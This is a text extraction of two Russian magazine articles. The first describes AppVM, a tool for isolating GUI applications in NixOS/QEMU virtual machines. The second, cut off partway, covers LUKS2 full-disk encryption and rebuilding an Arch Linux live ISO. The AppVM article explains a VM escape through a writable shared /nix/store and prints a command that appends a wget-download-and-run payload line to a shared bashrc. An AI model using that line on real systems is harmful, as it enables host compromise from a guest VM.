ния в отдель ных вир туаль ных машинах?
Ко неч но  же,  для  повыше ния  безопас ности!  Что бы  миними зиро вать  рис ки
зараже ния через ненадеж ные прог раммы. Нап ример, ты знал, что любое при‐ 
ложе ние,  которые  ты  запус каешь  у  себя,  име ет  дос туп  ко  всем  тво им  авто‐ 
риза циям  в Chrome  на  всех  сай тах  и может  слить  твои  сес сии  и  выпол нить
любые дей ствия на любых сай тах от тво его име ни? Или получить дос туп к тво‐ 
им фай лам. Вот это го я и пос тарал ся избе жать.

Я покажу, как запус кать любые, даже GUI‐при ложе ния в вир туаль ной машине,
а  так же  шей рить  меж ду  ними  фай лы  и  буфер  обме на.  Пос леднее  —  это,
конеч но, в теории потен циаль ная дыра, но жить без это го будет слож новато.

Что бы  реали зовать  такую  схе му  работы,  я  написал    и  сей час
покажу, как с ним обра щать ся.

AppVM

За пущен ные в AppVM при ложе ния с GUI. Удоб ный менед жер запущен ных
при ложе ний с информа цией о пот ребля емой памяти
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Ес ли  ты  не  зна ком  с  Nix,  то  будет  полез но  про‐ 
читать  ,  который  поможет  понять,
каким обра зом ведет ся работа  в  сис теме. А для
тех,  кто  хочет  поп робовать  NixOS  (дис три бутив)
или  Nix  (пакет ный  менед жер,  которым  мож но
поль зовать ся  на  любом  дис три бути ве),  будет
полез но про читать   на той же вики.

cheatsheet

дру гую статью

ИЗ ЧЕГО СТРОИМ
Из началь но  я  видел  решение  в  том,  что бы  «соб рать  вир туаль ную  машину
для каж дого при ложе ния». Обер нувшись бло гами, как теп лым клет чатым пле‐ 
дом, я начал искать готовые скрип ты. Но все они мне показа лись весь ма неп‐ 
ривле катель ными  —  за  исклю чени ем  при мера,  в  котором  исполь зовал ся
NixOS.  Так  и  появи лась  ,  которая,  по  сути,  была
набором скрип тов для уста новоч ного дис ка.

пер вая  вер сия  AppVM

А как же дру гие сис темы изо ляции?
В чем пре иму щес тво по срав нению с исполь зовани ем SELinux или AppArmor,
а  быть  может,  еще  и  Firejail  или  bubblewrap?  В  лени.  Вир туаль ные  машины
не толь ко дают безопас ность, их еще и про ще исполь зовать. Тебе не нуж но
огра ничи вать дос туп к опре делен ным ресур сам сис темы, если их прос то нет.

Пре дель но прос той кон фигура цион ный файл Nix опре делил сис тему:

{config, pkgs, ...}:
{
 imports = [
   <nixpkgs/nixos/modules/installer/cd‐dvd/installation‐cd‐minimal.
nix>
 ];
 environment.systemPackages = with pkgs; [
   chromium
 ];
 services.xserver = {
   enable = true;
   desktopManager.xterm.enable = false;
   displayManager.slim = {
     enable = true;
     defaultUser = "user";
     autoLogin = true;
   };
   displayManager.sessionCommands = "while [ 1 ]; do ${pkgs.
chromium}/bin/chromium; done &";
   windowManager.xmonad.enable = true;
   windowManager.default = "xmonad";
 };
 users.extraUsers.user = {
   isNormalUser = true;
   extraGroups = [ "audio" ];
   createHome = true;
 };
}

РЕШАЕМ ВОПРОС С GUI
Ис поль зовать вир туали зацию для кон соль ных при ложе ний, конеч но, здо рово,
но мне бы хотелось в пер вую оче редь запус кать GUI‐при ложе ния. Нап ример,
недове рен ные  PDF  —  ты  же  прек расно  зна ешь,  как  дыряв  фор мат  PDF
и  сколь ко  хит рых  спло итов  мож но  через  него  про вер нуть,  что бы  исполнить
код на целевой сис теме. Без под дер жки GUI смысл AppVM минима лен.

Пер вым  делом  мне  понадо бил ся  гра фичес кий  сер вер  и  какой‐то
минималь ный окон ный менед жер. Изна чаль но я счи тал, что самое разум ное
решение —  написать  свою минима лис тичную  реали зацию  окон ного менед‐ 
жера, которая будет делать толь ко необ ходимое. Но, начав работу над этим,
я осоз нал, что сущес тву ет немало проб лем, нап ример с всплы вающи ми окна‐ 
ми,  и  неболь ших  осо бен ностей,  которых  дос таточ но  для  того,  что бы  более
жир ное, но отла жен ное вре менем решение было пред почти тель нее.

INFO

По чему  нель зя  работать  вооб ще  без  окон ного
менед жера на голых «Иксах»? Потому, что мно гие
при ложе ния  хотят  показы вать  модаль ные
и  дочер ние  окна.  Без  хоть  какого‐нибудь  окон‐ 
ного менед жера они будут работать некор рек тно.

В  качес тве  вре мен ного  решения  я  вос поль зовал ся  xmonad,  задей ство вав
важ ней шую  фичу  каж дого  тай лового  окон ного  менед жера  —  воз можность
раз ворачи вать окно на весь экран. А пос ле я осоз нал, что xmonad нас толь ко
незаме тен  в  сис теме  (пот ребля ет  все го  5  Мбайт  с  кон фигом  AppVM),  что
разум нее вос поль зовать ся им, а фун кци ональ ность при необ ходимос ти рас‐ 
ширить.

Почему xmonad
В работе я про бовал мно го окон ных менед жеров, но в ито ге исполь зую толь‐ 
ко xmonad, неиз менно с середи ны 2012 года. За это вре мя я не стол кнул ся
ни с одним багом, ни разу не было падения или каких‐либо проб лем, меша‐ 
ющих  работать.  В  осно ве  этой  прог раммы  —  все го  три  тысячи  строк
на  Haskell,  а  если  убрать  ком менты,  оста нет ся  око ло  двух.  Для  срав нения:
i3wm — око ло 40 тысяч строк на С, а mutter из про екта GNOME — 150 тысяч
строк. Лег ковес ность победи ла!

В ито ге опре делен ный кон фигура цион ный файл Nix собирал ся в ISO:

$ nix‐build '<nixpkgs/nixos>' ‐A config.system.build.isoImage ‐I 
nixos‐config=chromium.nix

Пос ле чего запус кался с помощью QEMU:

$ qemu‐system‐x86_64 ‐smp 2 ‐m 1024 ‐enable‐kvm ‐sandbox on ‐cdrom 
result/iso/nixos‐*‐linux.iso

Это работа ло, и это было хорошо. Но недос таточ но. Проб лема в том, что каж‐ 
дое при ложе ние тре бова ло вклю чать в ISO все сис темные биб лиоте ки и фай‐ 
лы,  —  ког да  исполь зует ся  одно  или  два  при ложе ния,  это  еще  при емле мо,
но если их пять‐семь, то уже не дос тавля ет.

Ре шение не зас тавило себя ждать, и оно при этом уже было частью про‐ 
екта Nix:

$ head nixos/modules/virtualisation/qemu‐vm.nix
# This module creates a virtual machine from the NixOS configuration.
# Building the `config.system.build.vm' attribute gives you a command
# that starts a KVM/QEMU VM running the NixOS configuration defined in
# `config'. The Nix store is shared read‐only with the host, which
# makes (re)building VMs very efficient. However, it also means you
# can’t reconfigure the guest inside the guest — you need to rebuild
# the VM in the host. On the other hand, the root filesystem is a
# read/writable disk image persistent across VM reboots.

Выг лядит как то, что мне и было нуж но!
Как реали зовать общее дис ковое прос транс тво,  которое будет дос тупно

для чте ния и  хос товой сис теме, и  гос тевой? Я для это го исполь зовал VirtFS
(Plan 9 folder sharing over Virtio, меж ду про чим) и проб росил через дирек торию

./nix/store

Скуч ный 0day с VM escape, который я так и не зарепор тил
Нем ного опро бовав готовое решение в деле, я начал адап тировать его к сво‐ 
им хотел кам и попут но нашел скуч ный «0day» — воз можность вый ти за пре‐ 
делы VM. Как вид но в опи сании модуля, Nix store (суть которо го — дирек тория
/nix) рас шарива ется с гос тевой ОС. Тут‐то собака и ока залась зарыта.

# Start QEMU
exec ${qemuBinary qemu} \
    ‐name ${vmName} \
    ‐m ${toString config.virtualisation.memorySize} \
    ‐smp ${toString config.virtualisation.cores} \
    ‐device virtio‐rng‐pci \
    ${concatStringsSep " " config.virtualisation.qemu.networ
kingOptions} \
    ‐virtfs local,path=/nix/store,security_model=none,mount_tag=
store \
    ‐virtfs local,path=$TMPDIR/xchg,security_model=none,mount_tag=
xchg \
    ‐virtfs local,path=''${SHARED_DIR:‐$TMPDIR/xchg},security_model=
none,mount_tag=shared \
...

Мож но  было  бы  подумать:  «Ага!  security_model=none!»,  но  нет.  Они  забыли
добавить  опцию  readonly,  тем  самым  све дя  выход  из  вир туаль ной  машины
все го к двум дей стви ям:

mount ‐o remount,rw /nix/store
echo 'wget https://172.16.81.100/payload && ./payload' >> /nix/
store/*/etc/bashrc

Под робнее об опци ях VirtFS мож но про читать в  .ви ки QEMU

КАК ХРАНИТЬ ДАННЫЕ?
Вер немся к нашим кос тылям реали зации. На дан ный момент у нас уже есть
вир туаль ная  машина,  в  которой  запус кает ся  нуж ное  нам  при ложе ние
и которая исполь зует дирек торию  , проб рошен ную с хос та. В ито‐ 
ге вир туаль ная машина поч ти не занима ет мес та на жес тком дис ке. Nix store,
безус ловно,  занима ет  весь ма  мно го  (так  как  содер жит  все  основные  сис‐ 
темные  пакеты),  но  эту  проб лему  прос тым  спо собом  уже  не  решить.  Бла го
в одном экзем пля ре это не сос тавля ет проб лемы.

/nix/store

У меня  в  качес тве  хра нили ща фай лов  кон фигура ции  исполь зовал ся  диск
qcow2, под клю чен ный в режиме writeback. Туда и записы валась раз ница меж‐ 
ду  исходной  запущен ной  сис темой  и  вне сен ными  изме нени ями.  Проб лема
такого под хода про яви лась очень быс тро, а если точ нее — пос ле пер вого же
обновле ния:  при  исполь зовании  дис ков  в  режиме  «писать  толь ко  раз ницу»
обно вить базовую сис тему не получит ся, так как она в этом слу чае будет дру‐ 
гой.

Тог да  я  при нял  решение  проб расывать  через  VirtFS  дирек торию  гос тя 
 на хост точ но так же, как и  . Таким обра зом получи‐ 

лось и хра нили ще фай лов, и одновре мен но shared directory.
/home/user /nix/store

ПОДКЛЮЧАЕМ LIBVIRT И РАЗБИРАЕМСЯ С ПРАВАМИ
Тут ста ло понят но, что запуск QEMU из тер минала недос таточ но удо бен, так
как при ложе ния «теря ются». Нуж но либо уби вать их руками (зву чит пуга юще, я
знаю),  либо написать обер тку,  которая будет сле дить за ними. Это при вело
меня к libvirt.
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Для тех, кто не стал кивал ся с  libvirt, пояс ню, что
это такое. Эта биб лиоте ка обес печива ет прос тую
воз можность  управле ния  вир туаль ными машина‐ 
ми как из  тер минала,  так и из GUI  (virt‐manager)
и  при  этом  под держи вает  раз ные  сис темы  вир‐ 
туали зации  (как  слой  абс трак ции).  Одна
из полез ных осо бен ностей — то, что при исполь‐ 
зовании с QEMU/KVM  libvirt  в  отли чие от Virtual‐
Box  не  тре бует  уста нов ки  допол нитель ных  драй‐ 
веров.

Су щес тву ет  воз можность    в  опи‐ 
сание  libvirt —  это  зна читель но  облегчи ло мне  переход.  Проб лемы  про яви‐ 
лись поз же из‐за того, что QEMU начал запус кать ся от дру гого поль зовате ля.

кон верти ровать  коман дную  стро ку  QEMU

Сна чала я пытал ся решить проб лему стан дар тны ми метода ми, с помощью
ACL и бита sgid (если уста новить его на дирек торию, то мож но авто мати чес ки
прис ваивать пра ва дос тупа на соз данные фай лы вла дель цу дирек тории). Но к
сожале нию,  QEMU  соз давал  новые  фай лы  на  хос товой  сис теме  с  пра‐ 
вами 00 для group и other, что меша ет исполь зовать все перечис ленное выше
(или я в чем‐то ошиб ся, не дой дя до решения).

Воп реки  моим  ожи дани ям,  suid  на  дирек торию  работа ет  иным  обра зом.
Под робнее об этом можешь почитать в докумен тации про екта GNU для 

.
core‐

utils
В  ито ге  про ще  ока залось  прос то  сме нить  поль зовате ля  libvirt  на  сво его,

тем  самым  потеряв  нем ного  в  безопас ности,  но  при обре тя  в юза били ти.  Я
прос то поменял в   поль зовате ля, от име ни которо‐ 
го запус кают ся вир туаль ные машины.

/etc/libvirt/qemu.conf

КАК АЛЛОЦИРОВАТЬ ПАМЯТЬ
Мне оста валось еще решить проб лему с пот ребле нием памяти. Ста тичес кое
выделе ние  сла бо  под ходит  для  боль шого  количес тва  при ложе ний,  а  про ект
по  авто мати чес кому  изме нению  памяти  ,  к  сожале нию,
с 2013 года не прод вигал ся. В апс три ме это го нет.

Automatic  Ballooning

Во ору жив шись  изо лен той  и  кос тылями,  я  написал  свою  реали зацию  —
безус ловно,  вре мен ную  (хотя  все  вре мен ное  име ет  свой ство  ста новить ся
пос тоян ным). Слож но ее наз вать эле ган тной, но она, как ни стран но, работа‐ 
ет. Идея до безумия прос та и сос тоит в соз дании задачи cron в гос тевой сис‐ 
теме.

services.cron = {
 enable = true;
 systemCronJobs = [
   "* * * * *      root    free ‐m | grep Mem | awk '{print $2 \"‐\
" $4}' | bc > /home/user/.memory_used"
 ];
};

Ана логич ную задачу соз даем и на хос те:

$ crontab ‐l
* * * * * /home/user/bin/appvm autoballoon

Это решение забира ет текущее количес тво памяти из вир туаль ной машины,
добав ляет к это му зна чению 20%, пос ле чего уста нав лива ет получен ное зна‐ 
чение как раз мер памяти вир туаль ной машины. В Linux есть под дер жка изме‐ 
нения раз мера памяти подоб ным обра зом — динами чес ки. Решение, конеч‐ 
но,  далеко  от  иде ала,  но  оно  поз воля ет  нам  отно ситель но  ком фор тно
работать.

user@localhost $ appvm autoballoon
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐+
| APPLICATION VM | USED MEMORY | CURRENT MEMORY | MAX MEMORY | NEW MEMORY |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐+
| chromium       |      551936 |        1048576 |    2097152 |    1048576 |
| wire           |      932864 |        1119436 |    2097152 |    1119436 |
| torbrowser     |      734208 |        1048576 |    2097152 |    1048576 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐+

Ос тавалась  проб лема  с  авто мати чес ким  изме нени ем  раз решения  экра на,
но ее решить на дан ный момент так и не уда лось. Если ты сде лаешь это быс‐ 
трее меня, то буду рад получить твой pull request!

ЧТО ПОЛУЧИЛОСЬ
В ито ге получи лось очень прос тое решение. Вот что нуж но сде лать для стар‐ 
та.

Ус танови пакет ный менед жер Nix:

$ sudo mkdir ‐m 0755 /nix && sudo chown $USER /nix
$ curl https://nixos.org/nix/install | sh
$ . ~/.nix‐profile/etc/profile.d/nix.sh

Ука жи,  что  libvirt  дол жен работать из‐под нашего поль зовате ля — это нуж но
для дос тупа к рас шарен ным с вир туал кой фай лам:

$ echo user = "\"$USER\"" | sudo tee ‐a /etc/libvirt/qemu.conf
$ sudo systemctl restart libvirtd

Ус танови сам AppVM:

$ go get github.com/jollheef/appvm

Об нови:

$ go get ‐u github.com/jollheef/appvm

Сге нери руй раз решение. По умол чанию исполь зует ся 1920×1080; если нуж‐ 
но дру гое, задай его в appvm/nix/monitor.nix:

$ $GOPATH/src/github.com/jollheef/appvm/generate‐resolution.sh 3840 
2160 > $GOPATH/src/github.com/jollheef/appvm/nix/monitor.nix

За пус кай Chrome:

$ appvm start chromium ‐‐verbose

Под робнее смот ри в  .README.md из репози тория AppVM
По дыто жу пре иму щес тва это го под хода:
AppVM исполь зует QEMU;•
для  всех  VM  исполь зует ся  одна  дирек тория  /nix,  и  каж дое  пос леду ющее
при ложе ние в VM не занима ет зна читель ного прос транс тва на дис ке;

•

для  управле ния  вир туаль ными  машина ми  исполь зует ся  libvirt,  для  отоб‐ 
ражения — virt‐viewer;

•

есть  базовая  реали зация  перерас пре деле ния  памяти  на  осно ве memory
balloon, что поз воля ет умень шить пот ребле ние памяти.

•

В текущий момент про ект име ет огра ниче ние: не под держи вает ся авто мати‐ 
чес кое изме нение раз решения экра на внут ри вир туаль ной машины. При этом
исполь зует ся авто мати чес кое мас шта биро вание в virt‐manager.

В общем, ставь звез дочки репози торию, под писывай ся на мой GitHub, и,
воз можно,  ког да‐то  кто‐то  обра тит ся  ко  мне  за  рек ламной  интегра цией
в ком миты. Тог да‐то наконец я смо гу зараба тывать на open source & free soft‐
ware!

https://github.com/jollheef/appvm
https://nixos.wiki/wiki/Cheatsheet
https://nixos.org/nix/about.html
https://github.com/jollheef/appvm/commit/bce6cfad0fd05b32b2192bca7b563a7e3d7abd66
https://wiki.qemu.org/Documentation/9psetup
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/virtualization_administration_guide/sub-sect-domain_commands-converting_qemu_arguments_to_domain_xml
https://www.gnu.org/software/coreutils/manual/html_node/Directory-Setuid-and-Setgid.html
https://www.linux-kvm.org/page/Projects/auto-ballooning
https://github.com/jollheef/appvm


ПОЛНОДИСКОВОЕ
ШИФРОВАНИЕ

С LUKS2
ИЗУЧАЕМ НОВУЮ ВЕРСИЮ
ПОПУЛЯРНОГО СРЕДСТВА
ШИФРОВАНИЯ ДЛЯ 
И ПРОВЕРЯЕМ, МОЖНО ЛИ

ЕГО ВЗЛОМАТЬ

LINUX

eakj
eakj@protonmail.ch

ПРИВАТНОСТЬ

Ре лиз cryptsetup 2.0 в декаб ре прош лого  года про шел тихо
и  незамет но,  что  доволь но‐таки  стран но,  если  вспом нить
фиш ки, которые он при нес. В этой статье мы раз берем, что
в  нем  нового  и  какие  проб лемы  сущес тву ют  на  дан ный
момент, на прак тике попыта емся реали зовать пол ное шиф‐ 
рование  дис ка  с  исполь зовани ем  LUKS2,  а  так же  рас смот‐ 
рим  дос тупные  ком мерчес кие  и  сво бод ные  инс тру мен ты
для его взло ма.

ЗНАЧИМОСТЬ И ПРОБЛЕМА FDE
Де ла с шиф ровани ем запоми нающих устрой ств обсто ят забав ным обра зом:
оно  пов сюду  и  ниг де  одновре мен но.  Начиная  от  мобиль ных  устрой ств,  где
оно игра ет осо бо важ ную роль (при чем боль шинс тво поль зовате лей об этом
даже не догады вают ся), и закан чивая боль шими дата‐цен тра ми. В то же вре‐ 
мя  ,  про веден ные  за  пос ледние  десять  лет  в  раз ных  стра нах,
вклю чая Великоб ританию, Гер манию и США, показы вают, что не толь ко обыч‐ 
ные поль зовате ли, но и кор порации не силь но пекут ся о лич ных дан ных.

ис сле дова ния

К сожале нию, на этом проб лемы не закан чива ются. Боль шинс тво нынеш‐ 
них  сис тем  пол нодис кового шиф рования  (Full  Disk  Encryption —  FDE)  обес‐ 
печива ют  кон фиден циаль ность дан ных, но не их целос тность. Это озна чает,
что  зло умыш ленник  может  физичес ки  изме нить  байт  информа ции  на  дис ке
и поль зователь не смо жет обна ружить, что и где изме нилось и отку да сбои.
Все  потому,  что  сек тор  откры того  тек ста  рав няет ся  сек тору  шиф ротек ста,
а мета информа цию хра нить нег де.

Ис кажение дан ных может про изой ти не толь ко в резуль тате пря мого воз‐ 
дей ствия зло умыш ленни ком, но и по чис той слу чай нос ти: неп лотно вот кну тый
кабель,  переза пись  дан ных  ути литой,  которая  не  рас позна ет фор мат  LUKS,
и так далее.

Проб лему  целос тнос ти  дан ных  реша ет  аутен тифици рован ное  шиф‐ 
рование (Authenticated Encryption with Associated Data —  ). Это не новая
тема, и активные иссле дова ния вмес те с кон курса ми на луч ший алго ритм (см.

)  ведут ся  десят ки  лет.  Но  для  реали зации  AEAD  в  пол нодис ковом
шиф ровании  нуж но  при думать,  где  хра нить  допол нитель ные  дан ные  (те
самые AD).

AEAD

CAESAR

Зачем шиф ровать
Ес ли ты еще сом нева ешь ся, что пол нодис ковое шиф рование — нуж ная шту‐ 
ка,  то  подумай  вот  о  чем:  оно  не  толь ко  помога ет  сох ранить  в  тай не  твою
очень  важ ную  инфу  и  пикан тные  фоточ ки,  защищая  тебя  от  раз ного  рода
мошен ничес тва и шан тажа, но и пре дох раня ет диск от изме нений. Нап ример,
тебя могут на какое‐то вре мя раз лучить с тво им компь юте ром, и речь не толь‐ 
ко о «мас ки‐шоу», но и, нап ример, о дотош ном пог ранкон тро ле. Как в  таких
слу чаях  убе дить ся,  что  на  дис ке  не  появи лось  чего‐то  нового?  Ну  и  пос‐ 
ледний, чис то эмо циональ ный аргу мент: прос то пред ставь, какой неис товый
бат тхерт  будет  у  кого‐то,  ког да  он  не  смо жет  получить  дос туп  к  тво им  дан‐ 
ным, — даже если там нет ничего инте рес ного!

РЕШЕНИЕ
Ре бята  из  Чехии  нес коль ко  лет  раз рабаты вали  решение  для  Linux,  которое
смо жет пре дос тавить FDE с фун кци ей AEAD. Глав ными кри тери ями для это го
были:

обес печить работу без допол нитель ного обо рудо вания;•
сде лать воз можным при мене ние на самых обыч ных дис ках, которые дос‐ 
тупны в магази не, а не по спец заказу;

•

ис поль зовать род ной раз мер сек тора;•
ре али зовать  воз можность  вос ста нов ления  дан ных  в  слу чае  перебоя
питания;

•

ис поль зовать (и писать) толь ко сво бод ный код и алго рит мы.•

Ре зуль татом  раз работ ки  ста ли  новые  объ екты  (targets)  для  :
dm‐integrity,  обновлен ный  dm‐crypt  с  аутен тифици рован ным  шиф ровани ем
и фор мат LUKS2. Их под дер жка вклю чена в ядро Linux начиная с вер сии 4.12,
а новые шиф ры AEGIS и MORUS (финалис ты CAESAR) дос тупны с 4.18.

device  mapper

Под робнее о dm-integrity, dm-crypt и LUKS2
 

  эму лиру ет  блоч ное  устрой ство  с  допол нитель ными  тегами
в каж дом сек торе и исполь зует их для хра нения мета информа ции. Под держи‐ 
вает  жур налиро вание,  которое  мож но  опци ональ но  вклю чить  —  нап ример,
что бы  мож но  было  вос ста новить  дан ные  пос ле  сбоя  питания.  При меня ется
как в паре с dm‐crypt для пре дос тавле ния AEAD,  так и отдель но — для кон‐ 
тро ля  целос тнос ти  дан ных  без шиф рования.  Управля ется  ути лита ми 

,  если  нуж но  шиф рование,  или  ,  соот ветс твен но,
без него.

dm-integrity

crypt‐
setup integritysetup

 под держи вает режимы AEAD для шиф ров и ран домиза цию век‐ 
тора  ини циали зации  (Initialization  Vector).  На  каж дую  запись  в  сек тор  ядром
генери рует ся слу чай ный  Initialization Vector. К при меру,  в режиме XTS век тор
шиф рует ся  хит рым  обра зом,  что  поз воля ет  брать  для  него  пред ска зуемый
номер сек тора (  или  ).

dm-crypt

plain plain64
 — это вто рая вер сия фор мата LUKS с рас ширен ными воз можнос‐ 

тями.  Были  устра нены  некото рые  проб лемы  и  огра ниче ния,  одна ко  боль‐ 
шинс тво идей LUKS1 оста лись. Сре ди новых воз можнос тей:

LUKS2

под дер жка зат ратных для памяти фун кций фор мирова ния клю ча  (key der‐
ivation function — KDF);

•

ре али зован новый вид заголов ка (бинар ный + JSON), добав лен механизм
кон троль ных  сумм,  заголо вок  дуб лирован  (кро ме  области  клю чей)
из сооб ражений безопас ности;

•

клю чам мож но наз начать при ори тет;•
JSON  поз воля ет  рас ширять  воз можнос ти  фор мата,  не  модифи цируя
бинар ную струк туру;

•

в заголов ке реали зова ны токены, которые свя заны со сло тами для клю чей
и опи сыва ют, где взять пароль. Токены могут быть исполь зованы для под‐ 
дер жки механиз мов внеш него хра нения клю чей.

•

Пос мотреть фор мат заголов ка LUKS2 пол ностью и изу чить каж дое поле мож‐ 
но в  .спе цифи кации

 —  та  самая,  зат ратная  для  памяти  и  цен траль ного  про цес сора,
KDF. В Linux дос тупны два вари анта:   и  .

Argon2

Argon2i Argon2id

На дан ный момент шиф ры AEAD, которые есть в ядре (AES‐GCM и ChaCha20‐
Poly1305),  име ют  корот кий  (96‐bit)  одно разо вый  код  (nonce).  Это  озна чает,
что  веро ятность  кол лизии  слиш ком боль шая  (с  точ ки  зре ния  крип тогра фии)
и ее нель зя игно риро вать, так как исполь зование одно разо вого кода дваж ды
(nonce  reuse) фаталь но  для  AES‐GCM. На  вся кий  слу чай  отме чу,  что  это  не
каса ется шиф рования информа ции, переда ваемой по сети.

Для  обес печения  AEAD  в  FDE  сей час  сто ит  исполь зовать  новые  AEGIS
или MORUS.  Или  же  AES‐XTS  +  HMAC,  если  нет  дос тупа  к  4.18.  Проб лема
этой конс трук ции в том, что нуж но хеширо вать сек тор, а хеширо вание 4 Кбайт
дан ных занима ет какое‐то вре мя. Дру гими сло вами: это дол го.

Под дер жка dm‐integrity вклю чает ся в ядре опци ей  .
В Arch Linux про верить, вклю чена ли она у тебя, мож но коман дой

CONFIG_DM_INTEGRITY

$ zgrep ‐E "CONFIG_DM_INTEGRITY|CONFIG_BLK_DEV_INTEGRITY" /proc/
config.gz
CONFIG_BLK_DEV_INTEGRITY=y
CONFIG_DM_INTEGRITY=m

В  Ubuntu  спи сок  кон фигов  ядра  находит ся  в  раз деле  ,  файл 
 — гре пай его, и узна ешь всю прав ду.

/boot config‐
версия_ядра

Сто ит  упо мянуть,  что  авто ры  не  пыта ются  пере изоб рести  велоси пед
и при думать невидан ную ранее кон цепцию. Подоб ное решение, но с дру гим
под ходом сущес тву ет во FreeBSD и называ ется GELI. Здесь для обес печения
целос тнос ти дан ных исполь зует ся HMAC.

ПОЛНОДИСКОВОЕ ШИФРОВАНИЕ С LUKS2 НА ПРАКТИКЕ
Итак,  у  нас  в  арсе нале  ско ро  появят ся  новые  алго рит мы  и  новые  фичи.
Но поп робовать их не тер пится уже сей час, чем я и занял ся.

WARNING

Ра бота над фор матом LUKS2 еще не завер шена,
так что не рекомен дует ся исполь зовать его в про‐ 
дак шене!

Тут  же  нас  встре чает  пер вая  проб лема:  под дер жки  со  сто роны  заг рузчи ков
прос то‐нап росто  нет.  На  дан ный  момент  ни  GRUB,  ни  дру гие  не  уме ют
работать с LUKS2.

От сутс твие  воз можнос ти  гру зить ся  с  раз дела  LUKS2  при  этом  не  конец
све та:   зашиф руем в LUKS1. Кто‐то воз разит, что   — глав ный раз‐ 
дел  и  зло умыш ленни ку,  который  получил  дос туп  к  нему,  уже  все  рав но,  что
у тебя в  . И это прав да. Но к сожале нию, пока что при ходит ся работать с тем,
что есть. LUKS1, конеч но же, неп лох, но мы сюда приш ли новые фичи тес тить.
В  любом  слу чае  LUKS2  находит ся  в  ста дии    раз вития
и модифи кации, поэто му о деп лое в про дак шен речи в любом слу чае не идет.

/boot /boot

/

до пила  напиль ником

Тем  вре менем  сза ди  под крал ся  вто рой  под вох:  это  ядро  4.18,  которое,
как ты пом нишь, нуж но для AEGIS и MORUS и которо го на момент написа ния
статьи нет ни в одном live‐уста нов щике. Единс твен ная идея, которая мне при‐ 
ходит в голову, — это кас томный archiso, так как еже месяч ный билд содер жит
толь ко вер сию 4.17.11.

Мо дифи кация archiso
Про цесс хорошо опи сан в  . В двух сло вах: нуж но ска чать офи циаль‐ 
ный образ  live‐уста нов щика,  рас паковать,  внес ти  свои изме нения  и  запако‐ 
вать обратно.

Arch Wiki

INFO

Ес ли ты чита ешь статью, ког да на све те уже есть
уста нов щик с ядром 4.18, про пус кай эту под гла‐ 
ву — ты живешь в прек расном будущем и тебе все
это не при годит ся.

На   выбирай наибо лее под ходящее зер кало и качай:стра нице заг рузки

$ curl ‐q ‐OL "http://mir.archlinux.fr/iso/2018.08.01/archlinux‐2018.
08.01‐x86_64.iso{,.sig}"

Не забудь про верить целос тность фай ла .iso:

$ gpg ‐‐recv‐keys 9741E8AC && gpg ‐‐verify archlinux‐2018.08.
01‐x86_64.iso.sig

Про вер ка целос тнос ти обра за

$ mkdir /mnt/archiso
$ mount ‐t iso9660 ‐o loop archlinux‐2018.08.01‐x86_64.iso /mnt/
archiso

Так  как  обра зы  ISO  мон тиру ются  в  режиме  толь ко  для  чте ния,  ско пируй
содер жимое  в  дру гую  дирек торию.  Перед  копиро вани ем  удос товерь ся,  что
дирек тории   не сущес тву ет, и выпол ни~/customiso

$ cp ‐a /mnt/archiso ~/customiso; sync

Да лее нуж но рас паковать airootfs.sfs ути литой unsquashfs, она есть в сос таве
пакета squashfs‐tools ( ):$ sudo pacman ‐S squashfs‐tools

$ cd ~/customiso/arch/x86_64/
$ unsquashfs airootfs.sfs

Для обновле ния ядра понадо бит ся... ядро. ;‐) Копируй:

$ cp ../boot/x86_64/vmlinuz squashfs‐root/boot/vmlinuz‐linux

Те перь мож но делать chroot в сис тему, для это го исполь зуй скрипт arch‐ch‐
root из пакета arch‐install‐scripts:

$ sudo arch‐chroot squashfs‐root /bin/bash

Для  уста нов ки  пакетов  нуж но  сна чала  ини циали зиро вать  клю чи  для  pacman
внут ри chroot:

$ pacman‐key ‐‐init
$ pacman‐key ‐‐populate archlinux

Об нови все пакеты:

$ pacman ‐Syu ‐‐force archiso linux

В фай ле /etc/mkinitcpio.conf замени   наHOOKS=(...)

HOOKS=(base udev memdisk archiso_shutdown archiso archiso_loop_mnt 
archiso_pxe_common archiso_pxe_nbd archiso_pxe_http archiso_pxe_nfs 
archiso_kms block filesystems keyboard)

Пе ресо бери initramfs:

$ mkinitcpio ‐p linux

По  окон чании  нуж но  соз дать  спи сок  пакетов,  почис тить  кеш  менед жера
пакетов и вый ти из окру жения chroot:

$ LANG=C pacman ‐Sl | awk '/\[installed\]$/ {print $1 "/" $2 "‐" $3}'
> /pkglist.txt

$ pacman ‐Scc
$ exit

Пе рене си све жее ядро и спи сок пакетов, а так же уда ли запас ной образ (fall‐
back), так как он не исполь зует ся уста нов щиком:

$ mv squashfs‐root/boot/vmlinuz‐linux ~/customiso/arch/boot/x86_64/
vmlinuz
$ mv squashfs‐root/boot/initramfs‐linux.img ~/customiso/arch/boot/
x86_64/archiso.img
$ rm squashfs‐root/boot/initramfs‐linux‐fallback.img
$ mv squashfs‐root/pkglist.txt ~/customiso/arch/pkglist.x86_64.txt

Соз дай новый airootfs.sfs, почис ти мусор и сге нери руй кон троль ную сум му:

$ rm airootfs.sfs
$ mksquashfs squashfs‐root airootfs.sfs
$ sudo rm ‐r squashfs‐root
$ sha512sum airootfs.sfs > airootfs.sha512

Что бы  мож но  было  гру зить ся  в  режиме  UEFI,  надо  обно вить  заг рузоч ный
образ:

$ mkdir mnt
## Для монтирования FAT файловых систем нужен пакет dosfstools
$ sudo mount ‐t vfat ‐o loop ~/customiso/EFI/archiso/efiboot.img mnt
$ sudo cp ~/customiso/arch/boot/x86_64/vmlinuz mnt/EFI/archiso/
vmlinuz.efi
$ sudo cp ~/customiso/arch/boot/x86_64/archiso.img mnt/EFI/archiso/
archiso.img

